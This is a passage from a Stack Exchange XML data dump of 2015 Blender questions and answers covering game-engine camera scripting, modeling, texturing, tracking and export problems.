AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28825" PostTypeId="1" AcceptedAnswerId="28832" CreationDate="2015-04-22T21:26:41.353" Score="1" ViewCount="336" Body="&lt;p&gt;I wrote a module to rotate the camera with middle mouse button pressed, zoom in/out with wheel up/down and at last push the camera towards the direction of the mouse if the mouse is getting near to the end of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the camera to be a parent to the player that I have only when the rotation is taking place.So I activate/deactivate the parent actuator but a problem or an error occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the camera moves as the mouse suggests if the mouse reaches the end of the screen (That is &lt;strong&gt;before&lt;/strong&gt; I press middle button once!), after I rotate the camera I can no longer &quot;push&quot; it under the same conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried activating/deactivating the parent actuator or set the mode to remove itself.And all this time I was reading the physicsId of the camera to make sure it can move with linear velocity.All the readings were ok,and no errors popped so I do not know why the camera stops moving after I rotate it once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file with the module inside it : &lt;a href=&quot;http://www.pasteall.org/blend/35735&quot; rel=&quot;nofollow&quot;&gt;test blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and below is the script clean,without comments. Can anyone find what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;bge.render.showMouse(True)&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;player = scene.objects[&quot;player&quot;]&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;wh_up = cont.sensors[&quot;wh_up&quot;]&#xA;wh_down = cont.sensors[&quot;wh_down&quot;]&#xA;wh_pressed = cont.sensors[&quot;wh_pressed&quot;]&#xA;&#xA;par_to_player = cont.actuators[&quot;par_to_player&quot;]&#xA;&#xA;cam = scene.active_camera&#xA;&#xA;mousePos = bge.logic.mouse.position&#xA;if not wh_pressed.positive:&#xA;    par_to_player.mode = 2&#xA;    mX = max(0.0,min(1.0,mousePos[0]))&#xA;    mY = max(0.0,min(1.0,mousePos[1]))&#xA;&#xA;if mX &amp;lt; 0.05:&#xA;    cam.localLinearVelocity.x = -5*(2-mX)&#xA;    cam.localLinearVelocity.y = (0.5-mY)*5&#xA;elif mX &amp;gt; 0.95:&#xA;    cam.localLinearVelocity.x = 5*(2+mX)&#xA;    cam.localLinearVelocity.y = (0.5-mY)*5&#xA;&#xA;if mY &amp;lt; 0.05:&#xA;    cam.localLinearVelocity.y = 5*(2+mY)&#xA;    cam.localLinearVelocity.x = -(0.5-mX)*5&#xA;elif mY &amp;gt; 0.95:&#xA;    cam.localLinearVelocity.y = -5*(2-mY)&#xA;    cam.localLinearVelocity.x = -(0.5-mX)*5&#xA;&#xA;cam.localLinearVelocity *= 0.9&#xA;&#xA;if (wh_up.positive):&#xA;    cam.ortho_scale = cam.ortho_scale+5&#xA;if (wh_down.positive):&#xA;    cam.ortho_scale = cam.ortho_scale-5&#xA;&#xA;if (wh_pressed.positive):&#xA;    bge.render.showMouse(False)&#xA;    cont.activate(par_to_player)&#xA;    par_to_player.mode = 1&#xA;    print (par_to_player.mode)&#xA;    mX_rot = max(0.0,min(1.0,mousePos[0]))&#xA;    if (mX_rot &amp;lt; mX):&#xA;        player.applyRotation([0, 0, -0.01], 0)&#xA;    elif (mX_rot &amp;gt; mX):&#xA;        player.applyRotation([0, 0, 0.01], 0)&#xA;&#xA;print (&quot;I reached the end of the module&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-04-23T00:39:56.600" Title="problem with parent actuator in BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28826" PostTypeId="2" ParentId="28785" CreationDate="2015-04-22T22:05:19.153" Score="13" Body="&lt;p&gt;To track areas that are blocked by obstacles or temporary going off-screen. Move the tracking marker before the area is hidden by pressing &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; and dragging the marker to another tracking point, or offsetting the marker in &lt;em&gt;Track properties panel&lt;/em&gt; in &lt;em&gt;Marker section&lt;/em&gt; by changing X and Y offset position. You can then continue tracking the scene under the offset tracking area until the original tracking area is visible again, then move the marker back using the same procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UjmBd.png&quot; alt=&quot;tracking marker settings&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="14587" LastEditDate="2015-09-20T08:32:00.057" LastActivityDate="2015-09-20T08:32:00.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28828" PostTypeId="2" ParentId="28822" CreationDate="2015-04-22T22:46:11.527" Score="4" Body="&lt;p&gt;When compositing a render over an image you have to make sure that your render dimensions for the scene are set to the same size as the background image.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1reCC.png&quot; alt=&quot;render dimensions&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Your other option (say if the picture quite large) is to scale the picture to match the render size.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That can be done by adding a &lt;em&gt;Scale&lt;/em&gt; node set to &lt;em&gt;Render Size&lt;/em&gt;, which will give you a node setup like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BPNu6.png&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-04-22T22:46:11.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28829" PostTypeId="1" AcceptedAnswerId="28831" CreationDate="2015-04-23T00:11:19.623" Score="12" ViewCount="8964" Body="&lt;p&gt;Before making a dodecahedron animation I want to construct the lower half as a static object. In my screenshot you see the initial, flat construction, for which I've rotated five pentagons around the vertices of the central pentagon in order to have their edges aligned to each other. The next step would be to set those edges as each pentagon's individual axises and &quot;fold&quot; the pentagons, compared to folding a paper, upwards, so the neighbor edges would align, too, at a certain angle.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I set edges as axis for object rotation?&lt;/li&gt;&#xA;&lt;li&gt;How do I define the meeting points of two edges?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The pivot point of selected pentagon on inner edge, the modifier's local axis is not aligned with the edge.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YDF7A.jpg&quot; alt=&quot;The pivot point of selected pentagon on inner edge, the modifier&amp;#39;s local axis is not aligned with the edge&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13933" LastEditorUserId="3401" LastEditDate="2015-06-26T03:47:17.230" LastActivityDate="2015-06-26T03:47:17.230" Title="Set edge as axis for surface rotation" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28830" PostTypeId="1" CreationDate="2015-04-23T00:15:47.177" Score="3" ViewCount="59" Body="&lt;p&gt;I recently downloaded Blender 2.74 on my linux. I’ll grab for the handles to manipulate an object. Unfortunately, all this does is throw my cursor off of it's position.&#xA;&lt;em&gt;Problem in a nutshell&lt;/em&gt; when I click on the handles to move an object, they don't respond.&#xA;It's not &lt;em&gt;that&lt;/em&gt; big of a problem, but it's something I'd like fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; this doesn't happen on my Windows 7, 8, or any of my macs. &lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-04-23T01:26:05.297" LastActivityDate="2015-04-23T01:26:05.297" Title="Manipulator handles have ceased to function" Tags="&lt;workflow&gt;&lt;editing&gt;&lt;versions&gt;" AnswerCount="0" CommentCount="10" ClosedDate="2015-04-23T13:44:20.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="28831" PostTypeId="2" ParentId="28829" CreationDate="2015-04-23T00:32:32.827" Score="12" Body="&lt;p&gt;To rotate the faces around a specific edge, change to &lt;strong&gt;Edge Selection Mode&lt;/strong&gt;, select all the edges of the face you want to rotate and select the edge that the face will be rotating around as last. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;strong&gt;Pivot Point&lt;/strong&gt; as &lt;strong&gt;Active Element&lt;/strong&gt; and change &lt;strong&gt;Transform Orientation&lt;/strong&gt; to &lt;strong&gt;Normal&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate the face around that edge hit &lt;kbd&gt;R&lt;/kbd&gt; button, then &lt;kbd&gt;Y&lt;/kbd&gt; button twice, then type rotational angle and hit &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For dodecahedron faces to meet the rotational angle should be around 63.5 degrees (arccos(1/√5)) from the grid floor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the function for precise rotation, after hitting &lt;kbd&gt;R&lt;/kbd&gt; button type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*180*acos(1/sqrt(5))/pi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change the angle to negative or positive use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; buttons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zMyjG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-21T16:51:33.997" LastActivityDate="2015-05-21T16:51:33.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28832" PostTypeId="2" ParentId="28825" CreationDate="2015-04-23T00:39:56.600" Score="1" Body="&lt;p&gt;you are not unparenting the camera after rotation correctly , you have to set the mode to 2 and activate the actuator to take effect :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if not wh_pressed.positive:&#xA;    par_to_player.mode = 2&#xA;    cont.activate(par_to_player)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also you may need to kill the rotation after unparenting ( the camera gets thrown away after rotation )&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-23T00:39:56.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28833" PostTypeId="2" ParentId="28622" CreationDate="2015-04-23T00:53:50.703" Score="0" Body="&lt;p&gt;Focal lengths are good, but what I find useful for many of my projects is opening the menu by pressing &quot;n&quot;, go into camera view by pressing 0, and then enabling the &quot;Lock camera to view&quot; option.  This will allow you to change the camera angle just as easily as you normally can in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-04-23T00:53:50.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28834" PostTypeId="2" ParentId="28819" CreationDate="2015-04-23T01:39:16.170" Score="0" Body="&lt;p&gt;Replace the two files (init and import ) in the &lt;code&gt;/2.74/scripts/addons/io_scene_obj/&lt;/code&gt; with these &lt;a href=&quot;http://www.pasteall.org/blend/35739&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;init&lt;/strong&gt;.py&lt;/a&gt; and &lt;a href=&quot;http://www.pasteall.org/blend/35740&quot; rel=&quot;nofollow&quot;&gt;import_obj.py&lt;/a&gt; restart blender and you'll have the option for auto smooth in the importer settings ( a check box )&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-23T01:39:16.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28835" PostTypeId="1" AcceptedAnswerId="28906" CreationDate="2015-04-23T03:05:54.157" Score="9" ViewCount="1613" Body="&lt;p&gt;I'm using the Laplacian Lightning Generator, and have figured out how to make the generated lightning renderable in Blender Internal. While I (probably?) could use this, there's a few issues with me using BI, such as the quality of Cycles (e.g., really detailed shadows) not being available with BI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in the Lightning addon comments that you can convert it to a curve, or use wire material. Is wire material available in Cycles?&#xA;I tried converting it to a curve, but I can't figure out how to make it visible in render from there. I could extrude it, but then it'd be a 2D plane of lightning, as the lightning itself is just edges (wouldn't it?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wanting it to be similar to the video showcase it has; glowing, bright, etc. I also need to be able to animate this rather easily, I'm still new around here. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize if these are really dumb questions. Thank you in advance! :D&lt;/p&gt;&#xA;" OwnerUserId="13935" LastEditorUserId="13935" LastEditDate="2015-04-24T04:07:28.890" LastActivityDate="2015-09-05T22:21:15.623" Title="Making edges render with Cycles" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28836" PostTypeId="2" ParentId="28802" CreationDate="2015-04-23T04:16:14.443" Score="2" Body="&lt;p&gt;Starting with a landscape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sC6Yv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place a plane where your water should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dkcsy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It doesn't have to be that big I just made it big for clarity, all you need is the plane to be as big as the water surface.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Edit Mode &lt;strong&gt;subdivide&lt;/strong&gt; the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQZsx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;subdivision Surface&lt;/strong&gt; modifier and a &lt;strong&gt;Displace&lt;/strong&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the display modifier select &lt;strong&gt;Texture&lt;/strong&gt;. (A new one will be created if there are none)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assign the texture&lt;/strong&gt; to be used as displacement. I used a wood Texture, but it's up to you how you want the water to flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play with the &lt;strong&gt;Strength&lt;/strong&gt; settings to get the right height for the displacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZCFYm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KTQZL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate the displacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create an Empty&lt;/strong&gt; and add a couple of keyframes for the motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WFQwf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the displace modifier set the &lt;strong&gt;Texture coordinates&lt;/strong&gt; as &lt;strong&gt;Object&lt;/strong&gt; &#xA;and Assign the Empty as the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8r59z.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GG6Bb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-23T04:16:14.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28837" PostTypeId="2" ParentId="28802" CreationDate="2015-04-23T04:33:39.730" Score="2" Body="&lt;p&gt;A different way to do this in a less computationally-intensive way is not using a displacement for the geometry, but simulating the displacement on the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the material node use a Texture and connect it to the displacement input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LL3Sl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVfyj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And animate the texture coordinates to simulate the water flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YeBGL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xbt1x.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-23T05:08:34.020" LastActivityDate="2015-04-23T05:08:34.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28838" PostTypeId="1" AcceptedAnswerId="28870" CreationDate="2015-04-23T06:07:02.277" Score="11" ViewCount="2250" Body="&lt;p&gt;I read &lt;a href=&quot;https://blender.stackexchange.com/questions/26692/how-do-i-create-repeating-patterns-with-cycles-procedural-textures?rq=1&quot;&gt;&quot;How do I create repeating patterns in cycles with procedural textures?&quot;&lt;/a&gt; here on Blender Stack Exchange, and &lt;a href=&quot;http://adaptivesamples.com/2014/06/16/staggered-texture-mapping/&quot;&gt;&quot;staggered texture mapping&quot;&lt;/a&gt; on Greg Zaal's website.  I thought it seemed possible to combine the two ideas to have staggered procedural tiles, but can't seem to make it work.  Can anyone please help? &lt;/p&gt;&#xA;" OwnerUserId="13915" LastActivityDate="2019-04-05T03:17:23.057" Title="How can I create a staggered, repeating procedural pattern?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28839" PostTypeId="1" CreationDate="2015-04-23T07:44:18.423" Score="3" ViewCount="3539" Body="&lt;p&gt;I am starting to use Blender to edit videos on Linux.&#xA;What it's wrong if I add a movie in avi format and it only works on Windows but not on Linux? In Linux it says that file cannot be loaded. If opened by terminal, it says &quot;not an anim: /home/matsetes/kdenlive/Minetest mod spotlight 4.avi&quot;&#xA;I am using Ubuntu latest version and I installed Blender from the repository, but I tried also compiling it.&#xA;Perhaps it's a problem with some codec on Ubuntu? I am able to open these files on Ubuntu and also edit them with Kdenlive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for all, guys =) &lt;/p&gt;&#xA;" OwnerUserId="13937" LastActivityDate="2015-08-20T22:42:06.400" Title="Cannot load movie files on Ubuntu" Tags="&lt;editing&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28840" PostTypeId="2" ParentId="28839" CreationDate="2015-04-23T08:54:59.163" Score="6" Body="&lt;p&gt;I solved, after two months from when the problem occurred. I used the irc chat and three or four forums and, of course, Google.&#xA;The page that helped me a lot is &lt;a href=&quot;https://developer.blender.org/T28790&quot;&gt;https://developer.blender.org/T28790&lt;/a&gt;&#xA;where it says that is a problem of ffmpeg with the compiling of GCC. You can solve that downloading the precompiled version here &lt;a href=&quot;https://builder.blender.org/download/&quot;&gt;https://builder.blender.org/download/&lt;/a&gt;&#xA;It doesn't work if you compile the version and also the repository one does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I answered my question to help all the people that will have the same problem =)&lt;/p&gt;&#xA;" OwnerUserId="13938" LastActivityDate="2015-04-23T08:54:59.163" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28841" PostTypeId="1" CreationDate="2015-04-23T09:23:04.873" Score="3" ViewCount="799" Body="&lt;p&gt;I have an 3d model of a human with an animation on it. I want to export this to FBX to use in PlayCanvas. In PlayCanvas the mesh loads fine but I can't see the animation so I thought maybe there's a problem with the FBX. So i've tried to export to FBX and then Import back into a new blender file. That gave a weird result (see screenshot).&#xA;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with this;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m1e59.png&quot; alt=&quot;model with animation to export&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I export using this settings;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gUshf.png&quot; alt=&quot;settings of FBX export&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when i imported back into blender;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/atUmP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13941" LastActivityDate="2015-04-23T09:23:04.873" Title="problem with export animation to fbx" Tags="&lt;export&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28842" PostTypeId="2" ParentId="28799" CreationDate="2015-04-23T09:44:40.613" Score="1" Body="&lt;p&gt;I have found the solution for my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase steps value to above 6 or 8 in particle render tab.&lt;img src=&quot;https://i.stack.imgur.com/2ys23.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="11068" LastActivityDate="2015-04-23T09:44:40.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28843" PostTypeId="2" ParentId="28824" CreationDate="2015-04-23T12:23:34.003" Score="-2" Body="&lt;p&gt;The problem is solved! Unrelated to Blender, but on Adobe Premiere. It was in the interpretation of the frame rate of sequence (in the project panel, right click on the clip-modify-interpret footage-assume this frame rate) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WevRY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n3z2y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorDisplayName="user1853" LastEditDate="2015-04-23T14:22:14.447" LastActivityDate="2015-04-23T14:22:14.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28844" PostTypeId="1" AcceptedAnswerId="28847" CreationDate="2015-04-23T12:48:01.823" Score="-1" ViewCount="129" Body="&lt;p&gt;I'm using Maya but figure you guys will know the answer and didn't know where else to ask. I couldn't find an answer to my question by searching:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached a screenshot below. Basically I want to know if the highlighted faces are Ngons. The edges are straight but each face has one edge that has been subdivided but not edited in any other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XH1vG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And another pic this time with the vertices highlighted in yellow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P1dGO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11272" LastEditorUserId="11272" LastEditDate="2015-04-23T13:10:57.133" LastActivityDate="2015-04-23T14:00:13.877" Title="Will a straight edge with 4 vertices create ngons?" Tags="&lt;modeling&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-04-29T11:35:30.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="28846" PostTypeId="2" ParentId="10748" CreationDate="2015-04-23T13:50:41.887" Score="1" Body="&lt;p&gt;An interesting idea would be to track one corner as a second point and then try to stabilize the second point to something like a moving average of the second track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it differently: The second point obviously cannot be fixed entirely, but it should be possible to keep it on a pre-determined track. This track can either be computed by some means, or it can be constructed (maybe...) from a moving average of the actual track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow for the second tracked point to still move, albeit in a very smooth fashion.&lt;/p&gt;&#xA;" OwnerUserId="13945" LastActivityDate="2015-04-23T13:50:41.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28847" PostTypeId="2" ParentId="28844" CreationDate="2015-04-23T14:00:13.877" Score="4" Body="&lt;p&gt;Technically if it has more than 4 verts it is an ngon, even if some of those verts are co-linear. How various mesh engines deal with this under the hood might vary, but that's beyond the scope of this site. In Blender that's an Ngon.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-04-23T14:00:13.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28848" PostTypeId="1" CreationDate="2015-04-23T14:07:44.393" Score="2" ViewCount="798" Body="&lt;p&gt;I'm new to Blender and not a 3D designer. I'm a photogrammetrist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very complex mesh that I created with photogrammetry. I used Blender to repair the mesh in places where it did not generate good connections. I'd like to now go back and paint the fixed surfaces with texture I've pulled from the photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PEofu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, since I've added new faces, the UV map is scrambled and overlapping my new faces with old texture. It applies the wrong textures to the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l75ou.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way (inside or outside of Blender) that I can just paint my texture onto the surfaces or unwrap the new faces without destroying the existing texture?&lt;/p&gt;&#xA;" OwnerUserId="13943" LastActivityDate="2015-04-23T14:07:44.393" Title="Paint directly on model or redo UV unwrap for new faces" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28849" PostTypeId="1" AcceptedAnswerId="28854" CreationDate="2015-04-23T14:08:22.650" Score="3" ViewCount="244" Body="&lt;p&gt;I would like to create some models on the scale of 1-10k blender units. I remember reading somewhere that modelling on that scale can cause numeric problems. Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="13016" LastActivityDate="2015-04-23T16:39:50.987" Title="large scale modelling, numeric problems?" Tags="&lt;modeling&gt;&lt;units&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28850" PostTypeId="1" CreationDate="2015-04-23T14:33:41.100" Score="0" ViewCount="143" Body="&lt;p&gt;I am trying to add a mechanism to open and close doors. What I am trying to do is create an amnesia style open/close mechanism. For those of you who don’t know how amnesia works, you open doors by holding down left mouse and dragging the mouse back and forth to move the door open and closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is we don’t know how to do anything like that at all.&lt;/p&gt;&#xA;" OwnerUserId="13946" LastEditorUserId="2217" LastEditDate="2015-04-24T14:55:22.527" LastActivityDate="2015-04-24T15:50:01.410" Title="Help with coding doors on a game im making in BGE" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28851" PostTypeId="1" CreationDate="2015-04-23T14:46:37.037" Score="2" ViewCount="1030" Body="&lt;p&gt;Let's say we have a pattern of vertices, like so:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mq2kT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have a grave weakness in my modeling: it's quite an arduous process for me to fill those in!&lt;/p&gt;&#xA;&lt;p&gt;Would someone be so kind as to tell me the best way to &amp;quot;heal&amp;quot; these meshes, ie, fill them in with an edge/vertice pattern that more or less matches the one I deleted?&lt;/p&gt;&#xA;&lt;p&gt;Without knowing this, a simple mistake can be deadly..&#xA;&lt;br&gt;(PS: Yes, one of those is just missing a face.)&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-23T15:09:00.807" Title="How to heal/fill this type of damage to a mesh?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
